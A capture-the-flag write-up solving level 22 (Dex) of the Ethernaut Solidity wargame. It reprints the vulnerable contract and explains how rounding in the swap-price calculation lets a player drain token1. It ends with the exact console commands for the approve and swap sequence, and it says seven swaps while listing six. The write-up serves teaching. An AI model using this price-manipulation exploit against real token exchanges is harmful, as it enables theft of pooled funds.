This is the level 22 of OpenZeppelin Ethernaut web3/solidity based game.
Pre-requisites
- ERC20 Token Standard
- Solidity division operation
Hack
Given contract:
// SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import '@openzeppelin/contracts/math/SafeMath.sol'; contract Dex { using SafeMath for uint; address public token1; address public token2; constructor(address _token1, address _token2) public { token1 = _token1; token2 = _token2; } function swap(address from, address to, uint amount) public { require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens"); require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap"); uint swap_amount = get_swap_price(from, to, amount); IERC20(from).transferFrom(msg.sender, address(this), amount); IERC20(to).approve(address(this), swap_amount); IERC20(to).transferFrom(address(this), msg.sender, swap_amount); } function add_liquidity(address token_address, uint amount) public{ IERC20(token_address).transferFrom(msg.sender, address(this), amount); } function get_swap_price(address from, address to, uint amount) public view returns(uint){ return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this))); } function approve(address spender, uint amount) public { SwappableToken(token1).approve(spender, amount); SwappableToken(token2).approve(spender, amount); } function balanceOf(address token, address account) public view returns (uint){ return IERC20(token).balanceOf(account); } } contract SwappableToken is ERC20 { constructor(string memory name, string memory symbol, uint initialSupply) public ERC20(name, symbol) { _mint(msg.sender, initialSupply); } }
player
has to drain all of at least one of the two tokens - token1
and token2
from the contract.
The vulnerability originates from get_swap_price
method which determines the exchange rate between tokens in the Dex. The division in it won't always calculate to a perfect integer, but a fraction. And there is no fraction types in Solidity. Instead, division rounds towards zero. according to docs. For example, 3 / 2 = 1
in solidity.
We're going to swap all of our token1
for token2
. Then swap all our token2
to obtain token1
, then swap all our token1
for token2
and so on.
Here's how the price history & balances would go. Initially,
DEX | player token1 - token2 | token1 - token2 ---------------------------------- 100 100 | 10 10
After swapping all of token1
:
DEX | player token1 - token2 | token1 - token2 ---------------------------------- 100 100 | 10 10 110 90 | 0 20
Note that at this point exchange rate is adjusted. Now, exchanging 20 token2
should give 20 * 110 / 90 = 24.44..
. But since division results in integer we get 24 token2
. Price adjusts again. Swap again.
DEX | player token1 - token2 | token1 - token2 ---------------------------------- 100 100 | 10 10 110 90 | 0 20 86 110 | 24 0
Notice that on each swap we get more of token1
or token2
than held before previous swap. This is due to the inaccuracy of price calculation in get_swap_price
method.
Keep swapping and we'll get:
DEX | player token1 - token2 | token1 - token2 ---------------------------------- 100 100 | 10 10 110 90 | 0 20 86 110 | 24 0 110 80 | 0 30 69 110 | 41 0 110 45 | 0 65
Now, at the last swap above we've gotten hold of 65 token2
, which is more than enough to drain all of 110 token1
! By simple calculation, only 45 of token2
is required to get all 110 of token1
.
DEX | player token1 - token2 | token1 - token2 ---------------------------------- 100 100 | 10 10 110 90 | 0 20 86 110 | 24 0 110 80 | 0 30 69 110 | 41 0 110 45 | 0 65 0 90 | 110 20
Jump into console. First approve the contract to transfer your tokens with a big enough allowance so that we don't have to approve again & again. Allowance of 500 should be more than enough:
await contract.approve(contract.address, 500)
Get token addresses:
t1 = await contract.token1() t2 = await contract.token2()
Now perform 7 swaps corresponding to the table rows above one by one:
await contract.swap(t1, t2, 10) await contract.swap(t2, t1, 20) await contract.swap(t1, t2, 24) await contract.swap(t2, t1, 30) await contract.swap(t1, t2, 41) await contract.swap(t2, t1, 45)
token1
is drained! Verify by:
await contract.balanceOf(t1, instance).then(v => v.toString()) // Output: '0'
This is it!
Learned something awesome? Consider starring the github repo 😄
and following me on twitter here 🙏
Top comments (1)
Very Helpful, Thanks!!!